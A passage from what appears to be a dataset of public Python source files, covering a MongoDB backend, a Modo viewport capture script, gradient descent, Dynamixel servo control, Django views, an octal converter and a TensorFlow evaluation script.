self.db[collection].update(\n {'name': ps['name']}, ps, upsert=True\n )\n return oid\n\n def insert_measures(self, values):\n collection = self.measures_collection\n oids = []\n self.db[collection].remove(\n {\"name\": values[0][\"name\"]}\n )\n oids.extend(self.db[collection].insert(values))\n return oids\n\n def insert_cnmc_measure(self, value):\n '''cnmc measures come a measure per line,\n cannot replace the whole block as in insert_measures'''\n collection = self.measures_collection\n self.db[collection].remove(\n {\"name\" : value[\"name\"],\n \"data_final\": value[\"data_final\"]\n }\n )\n oid = self.db[collection].insert(value)\n return oid\n\n def disconnect(self):\n self.connection.disconnect()\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.disconnect()\n\n\n\nregister(\"mongodb\", MongoDBBackend)\n","repo_name":"gisce/sippers","sub_path":"sippers/backends/mongodb.py","file_name":"mongodb.py","file_ext":"py","file_size_in_byte":2638,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"29565359911","text":"#!/usr/bin/env python\n# encoding: utf-8\n# Alexander Kucera\n# babylondreams.de\n\n# Description\n\"\"\"\n\nAllows opening an OpenGL window of defined dimensions for size accurate OpenGL Previews.\n\nInspired by a function in Adam O'Hern's excellent RenderMonkey 2 kit.\nhttp://www.mechanicalcolor.com/modo-kits/render-monkey\n\nRelease Notes:\n\nV0.1 Initial Release - 2016-11-23\nv0.2 Trigger GL Recording and close the window after recording has finished - 2016-11-24\n\n\"\"\"\nimport os\nimport re\nimport traceback\n\nimport lx\nimport modo\nimport sys\n\nfrom bd_tools import bd_helpers\n\nimport imp\n\nfrom var import *\n\ntry:\n imp.find_module('bd_globals')\nexcept ImportError:\n sys.path.append(BD_PIPELINE)\nimport bd_globals\n\n\n# FUNCTIONS -----------------------------------------------\n\n\ndef capture_path():\n \"\"\"\n Gets the projects path and turns it into the preview output path.\n Returns:\n\n \"\"\"\n scene = modo.Scene()\n scene_path = scene.filename\n output = os.path.expanduser('~') + \"/\"\n file = 'playblast'\n\n if scene_path is not None:\n\n project = bd_globals.find_project(scene_path)\n project_config = bd_globals.projectconfig(scene_path)\n\n file = os.path.splitext(os.path.basename(scene_path))[0]\n\n output = '{project_dir}{sep}{img}{sep}{previews}{sep}'.format(\n sep=os.sep,\n project_dir=project['project_dir'],\n img=project_config['images/parent folder'],\n previews=project_config['images/playblasts']\n )\n\n if not os.path.exists(output):\n os.makedirs(output)\n\n return {'output_path': output, 'filename': file}\n# END FUNCTIONS -----------------------------------------------\n\n# MAIN PROGRAM --------------------------------------------\n\n\ndef main(gl_recording_size=1.0, gl_recording_type='image', viewport_camera='rendercam', shading_style='advgl',\n filename='preview', filepath=\"\", first_frame=1001, last_frame=1250, raygl='off', replicators=False,\n bg_style='environment', use_scene_range=True, automatic_naming=True, overwrite=True, bbox_toggle='full',\n avp_shadows=True, avp_ao=True, capture_file='playblast', capture_path=HOME_DIR):\n scene = modo.Scene()\n\n reload(bd_helpers)\n\n # Start timer\n\n start = bd_helpers.timer()\n\n # Initialize main variables\n\n if gl_recording_size == '100%':\n percent = 1.0\n if gl_recording_size == '50%':\n percent = 0.5\n if gl_recording_size == '25%':\n percent = 0.25\n if gl_recording_size == '10%':\n percent = 0.1\n\n gl_type = gl_recording_type\n\n if viewport_camera == 'rendercam':\n capture_camera = viewport_camera\n capture_camera_name = scene.renderCamera.name\n else:\n capture_camera = scene.item(viewport_camera)\n capture_camera_name = capture_camera.name\n\n shading_style = shading_style\n\n if automatic_naming:\n filename = capture_path()['filename']\n filepath = capture_path()['output_path']\n\n if gl_recording_type == 'movie':\n filepath = '{0}{3}{1}_{2}.mov'.format(filepath, filename, capture_camera_name, os.sep)\n else:\n filepath = '{0}{3}{1}{3}{1}_{2}.tga'.format(filepath, filename, capture_camera_name, os.sep)\n\n print(filepath)\n if not overwrite:\n exists = True\n version = 1\n while exists:\n\n if gl_recording_type == 'image':\n checkpath = '{0}_{1}{2}'.format(os.path.splitext(filepath)[0], first_frame, os.path.splitext(filepath)[1])\n else:\n checkpath = filename\n\n if os.path.exists(checkpath):\n path = os.path.split(filepath)\n name = os.path.splitext(path[1])\n\n regex = re.compile('(.*)(_v)([0-9]{2,}$)')\n match = re.match(regex, name[0])\n\n if match is None:\n version = '01'\n new_name = name[0]\n else:\n new_name = match.group(1)\n version = str(int(version) + 1).zfill(2)\n\n if gl_recording_type == 'image':\n new_path = \"{0}_v{1}\".format(path[0], version)\n else:\n new_path = path[0]\n\n filepath = \"{0}{1}{2}_v{3}{4}\".format(new_path, os.sep, new_name, version, name[1])\n else:\n exists = False\n\n print(filepath)\n\n if not os.path.exists(os.path.dirname(filepath)):\n os.makedirs(os.path.dirname(filepath))\n\n if use_scene_range:\n first_frame = scene.renderItem.channel('first').get()\n last_frame = scene.renderItem.channel('last').get()\n else:\n first_frame = first_frame\n last_frame = last_frame\n\n selection = scene.selected\n scene.deselect() # Clears the selection so we don't get any unwanted highlighting in the recording\n\n # Get Render Resolution\n resX = scene.renderItem.channel('resX').get()\n resY = scene.renderItem.channel('resY').get()\n\n newResX = int(resX * percent)\n newResY = int(resY * percent)\n\n lx.eval('layout.create %s width:%s height:%s style:palette' % (capture_camera_name, newResX, newResY))\n lx.eval('viewport.restore base.3DSceneView false 3Dmodel')\n lx.eval('view3d.bgEnvironment background {0}'.format(bg_style))\n lx.eval('view3d.bgEnvironment reflection linked')\n lx.eval('view3d.showGrid false')\n lx.eval('view3d.projection cam')\n lx.eval('view3d.controls false')\n lx.eval('view3d.showLights true')\n lx.eval('view3d.showCameras false')\n lx.eval('view3d.showMeshes true')\n lx.eval('view3d.showInstances true')\n\n if replicators == \"always\":\n lx.eval('view3d.showLocators True')\n else:\n lx.eval('view3d.showLocators false')\n\n lx.eval('view3d.showTextureLocators false')\n lx.eval('view3d.showPivots none')\n lx.eval('view3d.showCenters none')\n lx.eval('view3d.showBackdrop false')\n lx.eval('view3d.showSelections false')\n lx.eval('view3d.fillSelected false')\n lx.eval('view3d.outlineSelected false')\n lx.eval('view3d.silhouette false')\n lx.eval('view3d.onionSkin false')\n lx.eval('view3d.enableDeformers true')\n lx.eval('view3d.useShaderTree true')\n lx.eval('view3d.meshSmoothing true')\n lx.eval('view3d.drawDisp true')\n lx.eval('view3d.drawFur true')\n lx.eval('view3d.showSelectionRollover false')\n lx.eval('view3d.wireframeOverlay none active')\n lx.eval('view3d.showWireframeItemMode false')\n lx.eval('view3d.showWorkPlane no')\n lx.eval('view3d.rayGL {0}'.format(raygl))\n lx.eval('pref.value preview.rglQuality draft')\n lx.eval('view3d.replicators {0}'.format(replicators))\n\n if capture_camera == 'rendercam':\n lx.eval('view3d.renderCamera')\n else:\n lx.eval('view3d.cameraItem ' + capture_camera_name)\n\n lx.eval('view3d.shadingStyle ' + shading_style + ' active')\n lx.eval('view3d.shadingStyle ' + shading_style)\n lx.eval('view3d.sameAsActive true')\n\n if shading_style == \"gnzgl\":\n lx.eval(\"view3d.setGnzMaterialMode full\")\n lx.eval(\"view3d.showGnzFSAA x9\")\n lx.eval(\"view3d.setGnzLineAA full\")\n lx.eval(\"view3d.setGnzTransparency correct\")\n lx.eval(\"view3d.setGnzSSReflections blurry\")\n lx.eval(\"view3d.setGnzDitherMode ordered\")\n if avp_ao:\n lx.eval(\"view3d.showGnzSSAO true\")\n else:\n lx.eval(\"view3d.showGnzSSAO false\")\n lx.eval(\"view3d.GnzVisOverride all\")\n if avp_shadows:\n lx.eval(\"view3d.showGnzShadows true\")\n lx.eval(\"view3d.setGnzShadowsCSMLevels x4\")\n lx.eval(\"view3d.setGnzShadowsSize high\")\n lx.eval(\"view3d.setGnzShadowsFilter on\")\n else:\n lx.eval(\"view3d.showGnzShadows false\")\n\n lx.eval(\"view3d.useGnzNormalMaps true\")\n lx.eval(\"view3d.useGnzBumpMaps true\")\n lx.eval(\"view3d.setGnzVisibility render\")\n lx.eval(\"view3d.setGnzLighting sceneIBLLights\")\n lx.eval(\"view3d.setGnzBackground environment\")\n\n bbox = []\n if bbox_toggle == 'full':\n for item in scene.iterItemsFast(itype='mesh'):\n if item.channel('drawShape').get() == 'custom':\n bbox.append(item)\n item.channel('drawShape').set('default')\n\n for item in scene.iterItemsFast(itype='meshInst'):\n if item.channel('drawShape').get() == 'custom':\n bbox.append(item)\n item.channel('drawShape').set('default')\n else:\n for item in scene.iterItemsFast(itype='mesh'):\n if item.channel('drawShape').get() == 'default':\n bbox.append(item)\n item.channel('drawShape').set('custom')\n\n for item in scene.iterItemsFast(itype='meshInst'):\n if item.channel('drawShape').get() == 'default':\n bbox.append(item)\n item.channel('drawShape').set('custom')\n\n if gl_type == \"movie\":\n gl_type = \"\"\n elif gl_type == \"image\":\n gl_type = 'seq:true'\n\n print('gl.capture {0} filename:\"{1}\" frameS:{2} frameE:{3} autoplay:true'.format(gl_type, filepath,\n first_frame, last_frame))\n lx.eval('gl.capture {0} filename:\"{1}\" frameS:{2} frameE:{3} autoplay:true'.format(gl_type, filepath,\n first_frame, last_frame))\n\n if bbox_toggle == 'full':\n for item in bbox:\n item.channel('drawShape').set('custom')\n else:\n for item in bbox:\n item.channel('drawShape').set('default')\n\n scene.select(selection)\n\n lx.eval(\"layout.closeWindow\")\n\n end = bd_helpers.timer(start, 'GL Recording')\n per_frame = (end - start) / (last_frame - first_frame)\n timestring = bd_helpers.secondsToHoursMinutesSeconds(per_frame)\n print(\"That's {} per frame.\".format(timestring))\n\n\n# END MAIN PROGRAM -----------------------------------------------\n\nif __name__ == '__main__':\n try:\n # Argument parsing is available through the \n # lx.arg and lx.args methods. lx.arg returns \n # the raw argument string that was passed into \n # the script. lx.args parses the argument string \n # and returns an array of arguments for easier \n # processing.\n\n argsAsString = lx.arg()\n argsAsTuple = lx.args()\n\n main()\n\n except:\n lx.out(traceback.format_exc())\n","repo_name":"AlexKucera/babylondreams-modo","sub_path":"bd_tools/bd_gl_capture.py","file_name":"bd_gl_capture.py","file_ext":"py","file_size_in_byte":10461,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"25626167034","text":"import numpy as np\nimport pandas\n\ndef compute_cost(features, values, theta): \n\t\"\"\"\n\tCompute the cost of a list of parameters, theta, given a list of features \n\t(input data points) and values (output data points).\n\t\"\"\"\n\tm = len(values)\n\tsum_of_square_errors = np.square(np.dot(features, theta) - values).sum()\n\tcost = sum_of_square_errors / (2*m)\n\n\treturn cost\n\ndef gradient_descent(features, values, theta, alpha, num_iterations): \n\t\"\"\"\n\tPerform gradient descent given a data set with an arbitrary number of features.\n\t\"\"\"\n\n\t# Write code here that performs num_iterations updates to the elements of theta.\n\t# times. Every time you compute the cost for a given list of thetas, append it \n\t# to cost_history.\n\t# See the Instructor notes for hints. \n\t\n\tcost_history = [] \n\t# print features.shape\n\t# print features.shape[0] #1157\n\t# print features.shape[1] #3\n\tm = features.shape[0]\n\t# print \"features=\", features\n\t# print \"values=\", values\n\t# print \"theta=\", theta\n\t# print \"alpha=\", alpha\n\t# print \"num_iterations=\", num_iterations\n\n\t###########################\n\t### YOUR CODE GOES HERE ###\n\t###########################\n\t# print features.shape\n\t# print len(theta)\n\t# print range(1, features.shape[1])\n\tfor k in range(num_iterations): \n\t\tcost_history.append(compute_cost(features, values, theta))\n\t\t# print \"latest_cost=\", latest_cost\n\t\t# print \"np.unique(np.dot(features, theta))=\", np.unique(np.dot(features, theta)) \n\t\t# print \"np.dot(features, theta)=\", np.dot(features, theta)\n\t\t# print \"values - np.dot(features, theta)=\", values - np.dot(features, theta)\n\t\t# print \"theta=\", theta\n\t\terrors = np.dot(features, theta)\n\t\ttheta = theta + alpha/m * np.dot((values - errors), features)\n\n\treturn theta, pandas.Series(cost_history) # leave this line for the grader\n\n\n\n","repo_name":"oliverwreath/DataScience","sub_path":"set3/Gradient Descent in Python.py","file_name":"Gradient Descent in Python.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"808396505","text":"# coding=utf-8\n\nERR_NO_SUCH_ENTRY = 0\n\nMODE_APPEND = 10\nMODE_REMOVE = 11\nMODE_REPLACE = 12\n\nRESULT_SUCCESS = 20\n\n# Special IRC chars\ncol = \"\\3\" # Colour code\nbold = \"\\2\" # Bold code\nunder = \"\\31\" # Underline code\nital = \"\\29\" # Italics code\nreverse = \"\\22\" # Reverse code\nnormal = \"\\15\"# Normalizing code\nctcp = \"\\1\" # CTCP code","repo_name":"UltrosBot/McBlockit---Helpbot","sub_path":"legacy/system/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"} +{"seq_id":"34267770516","text":"\"\"\"\n\n Created by Wyatt B Hupe'\n Date 10/29/2020\n\tPurpose: Initialize the App and Database.\n\n\"\"\"\n\nfrom database.DBHelper import DBHelper\n\ndef main():\n x = DBHelper()\n try:\n x.setup()\n except Exception as err:\n print(\"err\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Wyatt545/InventoryPro","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2098138521","text":"from PIL import Image\nimport numpy as np\nimport cv2\n\npath = '/Users/bytedance/Documents/data/GiANA_challenge/segmentation/train/cvc300/masks/1.bmp'\nres = [0] * 256\n#img = Image.open(path, 'r').convert('L')\n#w,h = img.size\n#arr = np.array(img)\nimg = cv2.imread(path, 0)\nh, w = img.shape\nstart_w, end_w = w // 2 - 10, w//2+10\nstart_h, end_h = h //2-10, h//2+10\narr = img[start_h:end_h, start_w:end_w]\nprint(res)\nfor r in range(h):\n for c in range(w):\n res[img[r, c]] += 1\nprint(res)\n","repo_name":"xiaozhoushi/my_script","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33898818103","text":"from typing import TYPE_CHECKING, Any, Dict, List, Type, TypeVar, Union\n\nimport attr\n\nfrom ..types import UNSET, Unset\n\nif TYPE_CHECKING:\n from ..models.event_filter import EventFilter\n\n\nT = TypeVar(\"T\", bound=\"ProcessingDirective\")\n\n\n@attr.s(auto_attribs=True)\nclass ProcessingDirective:\n r\"\"\"Additional information passed to the subscription to control the processing of notifications. For example, you can\n use an eventFilter to customize your subscription to send notifications for only the specified marketplaceId's, or\n select the aggregation time period at which to send notifications (e.g. limit to one notification every five minutes\n for high frequency notifications). The specific features available vary depending on the notificationType.\n\n This feature is limited to specific notificationTypes and is currently only supported by the ANY_OFFER_CHANGED\n notificationType.\n\n Attributes:\n event_filter (Union[Unset, EventFilter]): A notificationType specific filter. This object contains all of the\n currently available filters and properties that you can use to define a notificationType specific filter.\n \"\"\"\n\n event_filter: Union[Unset, \"EventFilter\"] = UNSET\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n event_filter: Union[Unset, Dict[str, Any]] = UNSET\n if not isinstance(self.event_filter, Unset):\n event_filter = self.event_filter.to_dict()\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update({})\n if event_filter is not UNSET:\n field_dict[\"eventFilter\"] = event_filter\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n from ..models.event_filter import EventFilter\n\n d = src_dict.copy()\n _event_filter = d.pop(\"eventFilter\", UNSET)\n event_filter: Union[Unset, EventFilter]\n if isinstance(_event_filter, Unset):\n event_filter = UNSET\n else:\n event_filter = EventFilter.from_dict(_event_filter)\n\n result = cls(\n event_filter=event_filter,\n )\n\n result.additional_properties = d\n return result\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"milyord/sp-api","sub_path":"sp/notifications/models/processing_directive.py","file_name":"processing_directive.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"1437590197","text":"import os, serial, serial.tools.list_ports\nfrom dynamixel_sdk import * # Uses Local Dynamixel SDK library for python.\n #If installed into site_packages, delete dynamixel_sdk folder\n\n# Control table address\nADDR_TORQUE_ENABLE = 64 # Control table address is different in Dynamixel model\nADDR_GOAL_POSITION = 116\nADDR_PRESENT_POSITION = 132\n\n# Data Byte Length\nLEN_GOAL_POSITION = 4\nLEN_PRESENT_POSITION = 4\n\n# Protocol version\nPROTOCOL_VERSION = 2.0 # See which protocol version is used in the Dynamixel\n\n# Default setting\nBAUDRATE = 1000000 # Dynamixel default baudrate : 57600\nDEVICENAME = '/dev/ttyUSB0' # Check which port is being used on your controller\n # ex) Windows: \"COM1\" Linux: \"/dev/ttyUSB0\" Mac: \"/dev/tty.usbserial-*\"\n\nif os.name == 'nt':\n import msvcrt\n def getch():\n return msvcrt.getch().decode()\n for p in serial.tools.list_ports.comports():\n if 'USB Serial Port' in p.description:\n DEVICENAME = p.device\nelse:\n import sys, tty, termios\n fd = sys.stdin.fileno()\n old_settings = termios.tcgetattr(fd)\n def getch():\n try:\n tty.setraw(sys.stdin.fileno())\n ch = sys.stdin.read(1)\n finally:\n termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n return ch\n\n# Initialize PortHandler instance\n# Set the port path\n# Get methods and members of PortHandlerLinux or PortHandlerWindows\nportHandler = PortHandler(DEVICENAME)\n\n# Initialize PacketHandler instance\n# Set the protocol version\n# Get methods and members of Protocol1PacketHandler or Protocol2PacketHandler\npacketHandler = PacketHandler(PROTOCOL_VERSION)\n\n# Initialize GroupBulkWrite instance\ngroupBulkWrite = GroupBulkWrite(portHandler, packetHandler)\n\n# Initialize GroupBulkRead instace for Present Position\ngroupBulkRead = GroupBulkRead(portHandler, packetHandler)\n\n# Open port\nif portHandler.openPort():\n print(\"Succeeded to open the port\")\nelse:\n\n if portHandler.openPort():\n print(\"Succeeded to open the port\")\n else:\n print(\"Failed to open the port\")\n print(\"Press any key to terminate...\")\n getch()\n quit()\n\n# Set port baudrate\nif portHandler.setBaudRate(BAUDRATE):\n print(\"Succeeded to change the baudrate\")\nelse:\n print(\"Failed to change the baudrate\")\n print(\"Press any key to terminate...\")\n getch()\n quit()\n\n#Enable Torque\ndef enable_torque(dxl_id):\n dxl_comm_result, dxl_error = packetHandler.write1ByteTxRx(portHandler, dxl_id, ADDR_TORQUE_ENABLE, 1)\n if dxl_comm_result != COMM_SUCCESS:\n print(\"%s\" % packetHandler.getTxRxResult(dxl_comm_result))\n elif dxl_error != 0:\n print(\"%s\" % packetHandler.getRxPacketError(dxl_error))\n else:\n print(\"Dynamixel id {} has been successfully connected\".format(dxl_id))\n\n#Disable Torque\ndef disable_torque(dxl_id):\n dxl_comm_result, dxl_error = packetHandler.write1ByteTxRx(portHandler, dxl_id, ADDR_TORQUE_ENABLE, 0)\n if dxl_comm_result != COMM_SUCCESS:\n print(\"%s\" % packetHandler.getTxRxResult(dxl_comm_result))\n elif dxl_error != 0:\n print(\"%s\" % packetHandler.getRxPacketError(dxl_error))\n\ndef add_param_read(dxl_id, param, param_byte_size = 4):#param_byte_size would be different for a function such as LED on where it is either 0 or 1\n if not groupBulkRead.isAvailable(dxl_id, param, param_byte_size):\n dxl_addparam_result = groupBulkRead.addParam(dxl_id, param, param_byte_size)\n if dxl_addparam_result != True:\n print(\"[ID:%03d] groupBulkRead addparam failed\" % dxl_id)\n quit()\n\ndef add_param_write(dxl_id, data, param, param_byte_size = 4):#param_byte_size would be different for a function such as LED on where it is either 0 or 1\n data_byte_array = [ DXL_LOBYTE(DXL_LOWORD(data)),\n DXL_HIBYTE(DXL_LOWORD(data)),\n DXL_LOBYTE(DXL_HIWORD(data)),\n DXL_HIBYTE(DXL_HIWORD(data))]\n write = groupBulkWrite.addParam(dxl_id, param, param_byte_size, data_byte_array)\n if write != True:\n groupBulkWrite.changeParam(dxl_id, param, param_byte_size, data_byte_array)\n\ndef group_read():\n dxl_comm_result = groupBulkRead.txRxPacket()\n if dxl_comm_result != COMM_SUCCESS:\n print(\"%s\" % packetHandler.getTxRxResult(dxl_comm_result))\n\ndef get_goal_position(dxl_id):\n dxl_goal_position, dxl_comm_result, dxl_error = packetHandler.read4ByteTxRx(portHandler, dxl_id, ADDR_GOAL_POSITION)\n if dxl_comm_result != COMM_SUCCESS:\n print(\"%s\" % packetHandler.getTxRxResult(dxl_comm_result))\n elif dxl_error != 0:\n print(\"%s\" % packetHandler.getRxPacketError(dxl_error))\n else:\n return dxl_goal_position\n\ndef get_present_position(dxl_id):\n dxl_present_position, dxl_comm_result, dxl_error = packetHandler.read4ByteTxRx(portHandler, dxl_id, ADDR_PRESENT_POSITION)\n if dxl_comm_result != COMM_SUCCESS:\n print(\"%s\" % packetHandler.getTxRxResult(dxl_comm_result))\n elif dxl_error != 0:\n print(\"%s\" % packetHandler.getRxPacketError(dxl_error))\n else:\n return dxl_present_position\n\ndef group_write():\n dxl_comm_result = groupBulkWrite.txPacket()\n if dxl_comm_result != COMM_SUCCESS:\n print(\"%s\" % packetHandler.getTxRxResult(dxl_comm_result))\n\ndef group_write_positions(all_servos=[]):\n for servo in all_servos:\n if(abs(get_goal_position(servo.id) - get_present_position(servo.id)) > 5):\n group_write()\n group_write_positions()\n\ndef group_write_positions_from_id(servo_ids=[]):\n for id in servo_ids:\n if(abs(get_goal_position(id) - get_present_position(id)) > 50):\n group_write()\n group_write_positions_from_id()\n\ndef clear_params():\n groupBulkRead.clearParam()\n groupBulkWrite.clearParam()\n\n#Set Absolute Position of Servo\ndef set_position(dxl_id, dxl_goal_position):\n add_param_write(dxl_id, dxl_goal_position, ADDR_GOAL_POSITION)\n dxl_comm_result, dxl_error = packetHandler.write4ByteTxRx(portHandler, dxl_id, ADDR_GOAL_POSITION, dxl_goal_position)\n if dxl_comm_result != COMM_SUCCESS:\n print(\"%s\" % packetHandler.getTxRxResult(dxl_comm_result))\n elif dxl_error != 0:\n print(\"%s\" % packetHandler.getRxPacketError(dxl_error))\n\n#Set Relative Position of Servo\ndef rotate_servo(dxl_id, dist=0):#positive dist = clockwise\n set_position(dxl_id, get_present_position(dxl_id)-dist)\n #print(\"{}: {}\".format(dxl_id, get_present_position(dxl_id)))\n\n#Start Specific XL430 Turret Code\ndef tilt_horizontal(dist=0):\n rotate_servo(1, dist)\n\ndef tilt_vertical(dist=0):\n rotate_servo(2, dist)\n\ndef set_coordinates(x,y,horizontal_servo=1, vertical_servo=2):\n speed_multiplier = 0.75\n #print(\"{}, {}\".format(get_present_position(horizontal_servo)+x, get_present_position(vertical_servo)+y))\n set_position(horizontal_servo, get_present_position(horizontal_servo) - int(x*speed_multiplier))\n set_position(vertical_servo, get_present_position(vertical_servo) + int(y*speed_multiplier))\n group_write_positions_from_id([horizontal_servo, vertical_servo])\n\n#Set Absolute Position of Servo to its home\ndef set_home(dxl_id, servo_type='XL430'):\n if(servo_type == 'XL430'):\n set_position(dxl_id, 2000);#true home for XL430-W250-T\n\n#close port\ndef close_port():\n portHandler.closePort()\n","repo_name":"imacubsfan23/Dynamixel-Camera-Follow","sub_path":"dxl.py","file_name":"dxl.py","file_ext":"py","file_size_in_byte":7550,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"29632860166","text":"from django.shortcuts import render\nfrom login.models import Employee, Employeeforms, Member, Memberform\nfrom django.db.models import Q\nfrom .forms import SearchForm\nfrom django.core.paginator import Paginator\n\ndef employee_create(request):\n if request.method == 'POST':\n form_1 = Employeeforms(request.POST)\n if form_1.is_valid():\n form_1.save()\n else:\n form_1 = Employeeforms()\n return render(request, 'index.html', {'form':form_1})\n\ndef employee_read(request):\n data = Employee.objects.all()\n return render(request, 'read.html', {'data':data})\n\ndef employee_seach(request):\n if request.method == 'POST':\n kw = request.POST.get('name', '')\n form = SearchForm(request.POST, initial={'name': kw})\n else:\n kw = request.GET.get('name','')\n form = SearchForm(initial={'name': kw})\n data = Employee.objects.filter(Q(fistname__contains=kw)| Q(lastname__contains=kw))[:10]\n return render(request, 'SearchForm.html', {'form':form, 'data':data})\n\ndef employee_edit(request):\n data = Employee.objects.all()\n return render(request, 'edit.html', {'data':data})\n\n#เฉพาะฟังก์ชั่นที่เกี่ยวข้องกับพาธ emloyee/updata//\ndef employee_updata(request, id):\n if request.method == 'POST':\n row = Employee.objects.get(id=id) #อ่านข้อมูลเดิม\n\n #กำหนดข้อมูลเดิมให้กับโมเดลฟอร์ม เพื่อเปรียเทียบกับข้อมูลใหม่ที่รับเข้ามา\n form = Employeeforms(instance=row, data=request.POST)\n\n if form.is_valid():\n form.save()\n else:\n row = Employee.objects.get(id=id)\n form = Employeeforms(initial=row.__dict__)\n return render(request, 'updata.html', {'form': form})\n\ndef employee_delete(request, id):\n Employee.objects.get(id=id).delete()\n\n data = Employee.objects.filter()[:10]\n return render(request, 'edit.html', {'data':data})\n\ndef employee_login(request):\n if request.method == 'POST':\n confirm_pswd = request.POST.get('confrim_pswd', '')\n save = request.POST.get('save', False)\n #...นำค่าไปใช้ตามที่ต้องการ\n form = Memberform(request.POST)\n if form.is_valid():\n form.save()\n else:\n form = Memberform()\n return render(request, 'login.html', {'form':form})\n\ndef pagination_pvnx(request, pg):\n if pg == None:\n pg = 1\n \n rows = Employee.objects.all().order_by('id')\n pgn = Paginator(rows, 2)\n page = pgn.get_page(pg)\n return render (request, 'pagination_pvnx.html', {'page':page})\n\ndef pagination_number(request, pg):\n if pg == None:\n pg = 1\n \n rows = Employee.objects.all().order_by('id')\n pgn = Paginator(rows, 2)\n page = pgn.get_page(pg)\n return render (request, 'pagination_num.html', {'page':page})\n\n","repo_name":"Toeypakkadech/my_work","sub_path":"mysql_django/mysql_django/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40721656091","text":"import math\r\n\r\nLimiteMaximoDecimal = 2147483647\r\nLimiteMaximoOctal = 17777777777\r\n\r\ndef decimal_para_octal(decimal):\r\n octal = 0\r\n potencia = 1\r\n while decimal > 0:\r\n resto = decimal % 8\r\n octal += resto * potencia\r\n decimal //= 8\r\n potencia *= 10\r\n return octal\r\n\r\ndef octal_para_decimal(octal):\r\n potencia = 0\r\n decimal = 0\r\n while octal > 0:\r\n digito = octal % 10\r\n decimal += digito * int(math.pow(8, potencia))\r\n octal //= 10\r\n potencia += 1\r\n return decimal\r\n\r\ndef is_valid_octal(octal):\r\n while octal > 0:\r\n if octal % 10 > 7:\r\n return False\r\n octal //= 10\r\n return True\r\n\r\nopcao = -1\r\nwhile opcao != 0:\r\n print('=========================')\r\n print(' CONVERSOR DECIMAL-OCTAL ')\r\n print('=========================')\r\n print()\r\n print('1 - Converter decimal para octal')\r\n print('2 - Converter octal para decimal')\r\n print('0 - Sair')\r\n print()\r\n opcao = int(input('Digite a opcao desejada: '))\r\n if opcao == 1:\r\n print()\r\n decimal = int(input(f'Digite um numero decimal (ate {LimiteMaximoDecimal}): '))\r\n if decimal > LimiteMaximoDecimal:\r\n print('Valor decimal fora do limite permitido.')\r\n else:\r\n print(f'Valor em octal: {decimal_para_octal(decimal)}')\r\n elif opcao == 2:\r\n print()\r\n octal = int(input(f'Digite um numero octal (ate {LimiteMaximoOctal}): '))\r\n if not is_valid_octal(octal):\r\n print('Valor octal invalido.')\r\n elif octal > LimiteMaximoOctal:\r\n print('Valor octal fora do limite permitido.')\r\n else:\r\n print(f'Valor em decimal: {octal_para_decimal(octal)}')\r\n print()\r\n","repo_name":"J-AugustoManzano/Validacao-de-Dados","sub_path":"Conversoes de Bases/Decimal e Octal/DecimalOctal.py","file_name":"DecimalOctal.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"538341942","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nEvaluation the model using all test data\n\n@author: liangyu\n\"\"\"\nfrom __future__ import print_function\n\nimport tensorflow as tf\nimport os\nimport numpy as np\n\nfrom frame.frame_input import read_and_decode\nfrom frame import frame_model\n\n\nTEST_BATCH_SIZE = 1 # test batch size\nONE_HOT = True\nNUM_CLASSES = 11\n\n\ndef evaluation():\n \"\"\"Evaluation the model using test data.\n\n Returns:\n --------\n test_accuracy : test accuracy\n \"\"\"\n project_dir = os.getcwd() # project dir\n # tfrecords file\n tfrecord_file = os.path.join(project_dir, 'cache', 'test.tfrecords')\n # checkpoint_dir\n checkpoint_dir = os.path.join(project_dir, 'logs', 'train')\n # test size\n num_test = 2165\n\n with tf.Graph().as_default():\n # get test data\n test_img_batch, test_label_batch = read_and_decode(tfrecord_file,\n batch_size=TEST_BATCH_SIZE,\n one_hot=ONE_HOT)\n test_logits = frame_model.inference(test_img_batch,\n n_classes=NUM_CLASSES,\n visualize=True)\n\n test_logits_ = tf.argmax(test_logits, 1)\n test_label_batch_ = tf.argmax(test_label_batch, 1) # one hot to label\n top_one_op = tf.nn.in_top_k(test_logits, test_label_batch_, 1)\n\n # init saver\n saver = tf.train.Saver()\n\n with tf.Session() as sess:\n # load saved model\n ckpt = tf.train.get_checkpoint_state(checkpoint_dir) # 